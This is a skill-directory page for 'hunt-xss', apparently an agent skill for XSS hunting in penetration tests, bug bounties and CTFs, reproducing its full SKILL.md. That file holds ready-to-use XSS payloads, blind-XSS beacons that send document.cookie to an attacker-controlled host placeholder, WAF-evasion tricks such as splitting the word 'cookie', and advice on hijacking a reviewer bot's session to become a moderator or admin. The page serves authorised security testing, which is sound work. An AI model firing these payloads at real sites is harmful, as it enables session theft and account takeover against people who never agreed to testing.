New: 98,000+ skills indexed from GitHub repos with 100+ stars · every skill safety-checkedBrowse top skillsTop skills
Esc to closeBrowse all skills
Submit a skillBrowse skills
Submit a skillBrowse skills

Agent skill

Hunt Xss

by Encod3d-Sec in Encod3d-Sec/TORCH

XSS hunting - reflected, stored, DOM-based. An agent skill from Encod3d-Sec/TORCH.

MITAuto-check passedSecurity

Install Hunt Xss

skills CLI
$ npx skills add Encod3d-Sec/TORCH --skill hunt-xss -a claude-code

Project install by default; add -g for ~/.claude/skills/.

GitHub CLI
$ gh skill install Encod3d-Sec/TORCH hunt-xss --agent claude-code

Project scope by default; add --scope user for a personal install. Needs GitHub CLI 2.90.0 or later (public preview).

Manual copy
$ git clone --depth 1 https://github.com/Encod3d-Sec/TORCH.git skills-src && mkdir -p .claude/skills && cp -r skills-src/skills/hunt/hunt-xss .claude/skills/hunt-xss && rm -rf skills-src

Use ~/.claude/skills/ instead of .claude/skills for a personal install. The folder must contain SKILL.md.

Claude Code skills documentation · loads skills from .claude/skills/

Facts

Skill name
hunt-xss
GitHub stars
329
Token cost
~1.7k tokens
SKILL.md length
674 words
Files
1
Skills in repo
35
Repo updated
First seen
Licence
MIT

At a glance

XSS hunting - reflected, stored, DOM-based. An agent skill from Encod3d-Sec/TORCH.

  • Works in 11 steps: Map all reflection points - URL params,… → Classify: Reflected / Stored / DOM → Probe sanitizer: send aaa"bbb'ccc<ddd -… → …
  • Tasks that involve Web application vulnerabilities
  • SKILL.md covers Wiki, Confirmation gate, Attack Surface Signals and Methodology, plus 2 more sections
  • Calls python3; reaches w3.org

What it does

Hunt Xss is an agent skill from Encod3d-Sec/TORCH. XSS hunting - reflected, stored, DOM-based. Marker discipline to avoid false positives. Blind-XSS beacons for stored contexts. SVG/markdown/redirect vectors. Wiki-first, FIND schema output.

Its SKILL.md is about 1.7k tokens, which your agent loads only when the skill is triggered. It is a single SKILL.md file with no bundled scripts.

It sits in Security, covering Web application vulnerabilities. The repository describes itself as: Karpathy LLM based claude harness for PenetrationTesting / Bugbounty using obsidian. The licence is MIT.

When your agent uses it

  • Tasks that involve Web application vulnerabilities

Example prompts

  • “/hunt-xss”

Requirements

  • Python 3

Workflow steps

11 steps, taken from the first numbered list in SKILL.md.

  1. Map all reflection points - URL params, form fields, HTTP headers, file upload names
  2. Classify: Reflected / Stored / DOM
  3. Probe sanitizer: send aaa"bbb'ccc<ddd - observe which chars escaped
  4. Test allowlisted tag combos: , ,
  5. Hunt SVG upload vectors - often bypasses CSP
  6. Test markdown/RDoc: text), link:javascript
  7. Check redirect params: ?redirect=javascript:alert(1)
  8. Test UTM params: utm_source, utm_medium - often unsanitized on marketing pages
  9. Plant blind-XSS beacons in admin-viewable fields: error messages, User-Agent, Referer, username, email
  10. Validate in real browser before reporting
  11. Distill when confirmed (per hunt-core): reusable sanitizer or CSP bypass, GENERIC, python3 scripts/wiki-stage.py --kind technique --slug…

What it can do on your machine

Read from SKILL.md and the folder at commit d21b6c9. It shows what the files ask for, not the result of running them.

  • Tool permissions

    Pre-approves nothing: there is no allowed-tools line, so your agent's usual permission prompts apply.

    From allowed-tools in the SKILL.md frontmatter.

  • Runs code

    Shell commands in SKILL.md call:

    • python3

    From the folder's file list and the shell code blocks in SKILL.md.

  • Network

    Hosts in commands or code, which the agent is likely to contact:

    • w3.org

    From URLs in SKILL.md, links to its own repository left out.

  • Credentials

    Names no API keys, tokens, secrets or passwords.

    From names ending in _API_KEY, _TOKEN, _SECRET, _KEY or _PASSWORD in SKILL.md.

Context cost

Hunt Xss loads about 1.7k tokens when it runs. Until then it costs about 50 tokens; SKILL.md has 674 words of instructions outside code blocks.

Always · name and description, kept in context so the agent knows when to use it
~50
When it runs · the whole SKILL.md, loaded when a task matches
~1.7k

Estimates: characters ÷ 4, the usual rule of thumb; real counts depend on the model's tokenizer. Scripts and assets cost tokens only if the agent reads them.

Safety

Auto-check passed

The automated check found no risky patterns in SKILL.md.

Automated static check — not a guarantee. Review scripts before installing. It scans the text of SKILL.md for risky patterns (piping downloads into a shell, reading credential files, hidden Unicode, destructive commands); files beside SKILL.md are not scanned.

SKILL.md

The full file from Encod3d-Sec/TORCH at commit d21b6c9, republished under its MIT licence (© Encod3d-Sec). 674 words, ~1,662 tokens.

Download SKILL.mdSave it as .claude/skills/hunt-xss/SKILL.md (or your agent's skills folder).
name
hunt-xss
description
XSS hunting - reflected, stored, DOM-based. Marker discipline to avoid false positives. Blind-XSS beacons for stored contexts. SVG/markdown/redirect vectors. Wiki-first, FIND schema output.

Hunt: XSS

Assumes hunt-core for the scope gate, two-account rule, confirmation gate, enumeration limits, stop conditions, wiki protocol, FIND output, and Deadends. Marker discipline (unique 8+ char canaries, check the baseline first) lives in hunt-core.

Wiki

qmd_query "XSS cross-site scripting DOM CSP bypass sanitizer" via wiki-search MCP

Hub: [[web-moc]] (live web index). Primary page: [[xss]]. Payload arsenals: wiki/payloads/{xss,prototype-pollution}.md. Related client-side vectors: [[dangling-markup]] (scriptless HTML-injection exfil when script tags are blocked), [[xssi]] (JSONP/script-inclusion info leak), [[browser-extension-attacks]] (content-script/message-passing injection).

Confirmation gate

NOT confirmation: payload URL-encoded or HTML-encoded in response, <script> appears as &lt;script&gt;, ASP.NET validator blocked <. IS confirmation: HTTP/DNS request to your unique Collaborator subdomain with browser User-Agent (Mozilla/Chrome).

When you plant a blind/stored XSS beacon, append a row to targets/<eng>/oob.md: | <token> | <sink url+param> | xss | <date> | waiting | | (columns: token | sink | class | planted | status | source, where token = your unique Burp Collaborator / interactsh label). The recon-capture hook auto-correlates incoming callbacks to flip the row to HIT and SessionStart surfaces HITs; a HIT row is the confirmation gate to scaffold the FIND. Do NOT claim a blind XSS without a HIT row.

Attack Surface Signals

High-value: admin panels (*/admin, */settings), payment flows, stored wikis/labels/tags, SSO/signin pages, SVG upload endpoints.

Approval / moderation workflow = the classic stored-XSS-to-privilege-escalation sink. Recognize it. When your submission "awaits review/approval by a moderator/admin" AND any field you control is rendered back in a privileged panel (a pending-registrations queue, a report/ticket viewer, a comment-moderation list, an order-approval screen), there is almost always a headless reviewer bot that opens that panel. That is a blind-XSS delivery you get for free: plant a cookie/session beacon in the field and the reviewer's session is exfiltrated -> replay their cookie -> you ARE the moderator/admin. The tell is often visible while authed as a lower role or as admin: if the panel shows a prior submission's raw markup (an unescaped username like <x> or sqltest'... sitting literally in the table), the sink is confirmed without even firing a payload -- that raw reflection IS the stored-XSS proof, do not walk past it. This is frequently the INTENDED path to the mid-tier (moderator) flag/role on a box that also has a heavier unintended route (LFI/RCE).

Reviewer-bot + WAF stored-XSS gotchas (avoid the self-inflicted grind):

  • If a public writeup / known payload exists, fire its EXACT form first before inventing variants.
  • Obfuscate ONLY the blocked token, not the whole payload. Submit each suspect token in isolation to learn exactly what the WAF rejects (often just the literal word cookie, or onerror/<script>). Keep everything else literal: new Image().src='//IP/?x='+document['coo'+'kie'] (split only cookie, keep document) beats splitting document too. Over-obfuscation (srcdoc+atob+.concat+template-literals) usually breaks EXECUTION, not the WAF.
  • Prefer the simplest vector that passes the WAF AND runs in the bot. A plain <body onload="new Image().src=..."> beacon is more reliable than a javascript: iframe (modern headless Chrome blocks javascript:-iframe navigation) or srcdoc gymnastics.
  • Do NOT flood the moderation queue with test payloads. The reviewer panel usually renders a LIMITED window; buried test messages never surface, so "no callback" becomes ambiguous (broken payload vs not-rendered). Submit ONE payload + a paired plain-<img> control in the SAME message (same render), so a callback disambiguates render-vs-execution. Iterate in a clean queue.
  • Payload arsenal + WAF-token isolation examples: wiki/payloads/xss.md.
Show full SKILL.md (160 more words)Show less

DOM XSS signals in JS:

javascript
document.write(  innerHTML =  location.hash  location.search
eval(  $.html(  $(location  document.referrer

Methodology

  1. Map all reflection points - URL params, form fields, HTTP headers, file upload names
  2. Classify: Reflected / Stored / DOM
  3. Probe sanitizer: send aaa"bbb'ccc<ddd - observe which chars escaped
  4. Test allowlisted tag combos: <math><style>, <svg><style>, <iframe srcdoc>
  5. Hunt SVG upload vectors - often bypasses CSP
  6. Test markdown/RDoc: [text](javascript:alert(1)), link:javascript:
  7. Check redirect params: ?redirect=javascript:alert(1)
  8. Test UTM params: utm_source, utm_medium - often unsanitized on marketing pages
  9. Plant blind-XSS beacons in admin-viewable fields: error messages, User-Agent, Referer, username, email
  10. Validate in real browser before reporting
  11. Distill when confirmed (per hunt-core): reusable sanitizer or CSP bypass, GENERIC, python3 scripts/wiki-stage.py --kind technique --slug <slug> --target-page techniques/web/xss.md.

Key Payloads

html
<!-- Context probe -->
aaa"bbb'ccc<ddd>eee`fff

<!-- Reflected baseline -->
"><script>alert(document.domain)</script>
<svg onload=alert(1)>

<!-- SVG (CSP bypass) -->
<svg xmlns="http://www.w3.org/2000/svg"><script>alert(document.domain)</script></svg>

<!-- Sanitizer bypass -->
<math><style><img src=x onerror=alert(1)></style></math>

<!-- Blind-XSS beacon (into a reviewer/approval field) -->
<svg onload=fetch('//bxss-<tag>.<collab>/x?c='+document.cookie)>

<!-- Filter-bypass beacon: word "cookie" blocked / <script>,<img> filtered / entity-encoded.
     Concatenate the property name + use iframe onload; exfil via new Image() (no fetch needed). -->
<iframe onload="new Image().src='//<lhost>:<port>/?x='+document['coo'+'kie']">
<!-- other separators when on\w+= is regex-filtered: <svg%0conload=...> (form feed), <svg/onload=...> -->

<!-- Markdown -->
[Click](javascript:alert(document.domain))

Severity

Confirm in a real browser, not just Burp. FIND output and Deadends format per hunt-core:

  • high - stored in an admin/privileged context, or session theft demonstrated.
  • medium - reflected requiring a click.
  • low - self-XSS with no chain.

Class deadend line: - [ ] XSS on <host> <param> -- payload encoded/rejected, [detail].

© Encod3d-Sec, MIT. Rendered from Markdown: HTML in the file is shown as text, images as links, and headings moved down two levels. Raw file

Files

Just SKILL.md in skills/hunt/hunt-xss of Encod3d-Sec/TORCH.

Open the folder on GitHubat commit d21b6c9

Compare with similar skills

Hunt Xss next to the 5 skills that share the most tags, products or categories with it. Stars are the repository's; “used in” counts other GitHub owners with a copy.

Hunt Xss compared with similar skills
SkillStarsUsed inTokensAuto-checkLicenceRepo updated
Hunt Xss this skillEncod3d-Sec/TORCH329—~1.7kAutomated safety check: PassMIT
Security And Hardeningpenpot/penpot61k6 repos~4.7kAutomated safety check: NotesMPL-2.0
Security Auditoreigent-ai/eigent15k—~1.8kAutomated safety check: NotesApache-2.0
Security Reviewjewbetcha/opentrace11618 repos~3.1kAutomated safety check: NotesMIT
Strix Code Vulnerability Scanusestrix/strix68k—~1.1kAutomated safety check: PassApache-2.0
Code Audit3stoneBrother/code-audit8921 repos~2.7kAutomated safety check: PassNone

Similar skills

  • Security And Hardening

    penpot/penpot

    Hardens code against vulnerabilities. An agent skill from penpot/penpot.

    61k GitHub starsUsed in 6 repos~4.7k tokens
    SecurityAuto-check: notes

  • Security Auditor

    eigent-ai/eigent

    Audits source code, dependencies and config files for vulnerabilities and hardcoded secrets, using two bundled Python scanners and an OWASP Top 10 checklist.

    15k GitHub stars~1.8k tokensUpdated yesterday
    SecurityAuto-check: notes

  • Security Review

    jewbetcha/opentrace

    A skill your agent uses when adding authentication, handling user input, working with secrets, creating API endpoints, or implementing payment/sensitive features.

    116 GitHub starsUsed in 18 repos~3.1k tokens
    SecurityAuto-check: notes

  • Strix Code Vulnerability Scan

    usestrix/strix

    Runs a Strix white-box security review that reads the source, then exploits what it finds in a sandbox so each reported issue has a proof-of-concept.

    68k GitHub stars~1.1k tokensUpdated yesterday
    SecurityAuto-check passed

  • Code Audit

    3stoneBrother/code-audit

    Professional code security audit skill covering 55+ vulnerability types.

    892 GitHub starsUsed in 1 repo~2.7k tokens
    SecurityAuto-check passed

  • Fix Strix Security Findings

    usestrix/strix

    Triages findings from a Strix pentest by severity, fixes each root cause with a minimal change, and re-runs Strix to confirm the exploit no longer works.

    68k GitHub stars~1.5k tokensUpdated yesterday
    SecurityAuto-check passed

More from Encod3d-Sec/TORCH

All 35 skills in this repo

  • Bug Bounty Campaign Driver

    Encod3d-Sec/TORCH

    Runs a bug-bounty engagement through a script that tracks the current pass, builds a board of rows from recon and prints the next required action each turn.

    329 GitHub stars~1.8k tokensUpdated 1 mo ago
    Auto-check passed

  • Campaign Workflow Health Check

    Encod3d-Sec/TORCH

    Checks that the bb, pt and ctf workflow driver is set up correctly on a machine: vault content, skill symlinks, hooks, imports and a live smoke test, with fixes for failures.

    329 GitHub stars~611 tokensUpdated 1 mo ago
    Auto-check passed

  • Visible Browser for Manual Login Capture

    Encod3d-Sec/TORCH

    Opens a visible Chromium window on a Kali VM so an operator can complete a manual login or CAPTCHA while the agent watches and acts through the chrome-devtools MCP.

    329 GitHub stars~1.2k tokensUpdated 1 mo ago
    Auto-check passed

  • CTF Campaign Driver

    Encod3d-Sec/TORCH

    Runs a capture-the-flag box from first scan to root with a driver script that tracks progress and prints the next action each turn.

    329 GitHub stars~1.8k tokensUpdated 1 mo ago
    Auto-check passed

  • Sub-Agent Exploit-Run Delegation

    Encod3d-Sec/TORCH

    Decides when a main pentesting agent should hand a fully-specified, mechanical exploit-compile or privilege-escalation step to a cheaper sub-agent, and how to specify that handoff safely.

    329 GitHub stars~1.6k tokensUpdated 1 mo ago
    Auto-check: notes

  • Adaptive Web Fuzzing

    Encod3d-Sec/TORCH

    Adaptive web fuzzing for pentests, bug bounty and CTF work: picks the smallest suitable SecLists wordlist per target surface and calibrates filters against soft-404 responses.

    329 GitHub stars~1.3k tokensUpdated 1 mo ago
    Auto-check passed

Categories

Questions about Hunt Xss

What does Hunt Xss do?

XSS hunting - reflected, stored, DOM-based. An agent skill from Encod3d-Sec/TORCH. Hunt Xss is an agent skill from Encod3d-Sec/TORCH. XSS hunting - reflected, stored, DOM-based.

When should I use Hunt Xss?

Hunt Xss fits situations like: tasks that involve Web application vulnerabilities.

How do I install Hunt Xss in Claude Code?

Run `npx skills add Encod3d-Sec/TORCH --skill hunt-xss -a claude-code`. Or copy the skill folder (skills/hunt/hunt-xss in Encod3d-Sec/TORCH) into .claude/skills/hunt-xss in your project. Claude Code loads it when a task matches its description.

How do I install Hunt Xss in Codex?

Run `npx skills add Encod3d-Sec/TORCH --skill hunt-xss -a codex`. Or copy the skill folder (skills/hunt/hunt-xss in Encod3d-Sec/TORCH) into .agents/skills/hunt-xss in your project. Codex loads it when a task matches its description.

Can I use Hunt Xss in Cursor, Gemini CLI or GitHub Copilot?

Cursor, Gemini CLI, GitHub Copilot and OpenCode also load SKILL.md folders. With the skills CLI, run `npx skills add Encod3d-Sec/TORCH --skill hunt-xss -a cursor` (or -a gemini-cli, github-copilot or opencode for the others). To copy it by hand, put the folder in .cursor/skills/hunt-xss, .gemini/skills/hunt-xss, .github/skills/hunt-xss and .opencode/skills/hunt-xss in your project.

What does Hunt Xss need to run?

Going by SKILL.md and its folder, Hunt Xss needs the command-line tools its instructions call (python3). Our summary lists: Python 3.

Does Hunt Xss access the network?

SKILL.md names 1 domain. In commands or code: w3.org; the agent is likely to contact it when it follows the instructions. This is read from the text; nothing was executed.

Is Hunt Xss safe to install?

Our automated static check of SKILL.md found no risky patterns, such as piping downloads into a shell, reading credential files or hidden Unicode. It is not a guarantee. Review the folder before installing.

What licence does Hunt Xss use?

Hunt Xss is published under the MIT licence (the repository's licence). It allows redistribution, so the full SKILL.md is shown on this page.

How many tokens does Hunt Xss use?

About 1.7k tokens (SKILL.md is roughly 6.6k characters). Agents keep only the skill's name and description in context until a task matches; then they load SKILL.md in full.

What are the alternatives to Hunt Xss?

Skills that share tags, products or a category with Hunt Xss: Security And Hardening (penpot/penpot, 61k stars), Security Auditor (eigent-ai/eigent, 15k stars), Security Review (jewbetcha/opentrace, 116 stars) and Strix Code Vulnerability Scan (usestrix/strix, 68k stars). The comparison table on this page puts their stars, adoption, token cost, safety result and licence side by side.

Who maintains Hunt Xss?

Encod3d-Sec (a GitHub user) maintains it in Encod3d-Sec/TORCH, which has 329 GitHub stars. The repository holds 35 skills in this directory. The repository was last updated on September 1, 2026.

Source: Encod3d-Sec/TORCH on GitHub. Facts on this page come from the repository at the commit we read; the author's words are quoted as theirs.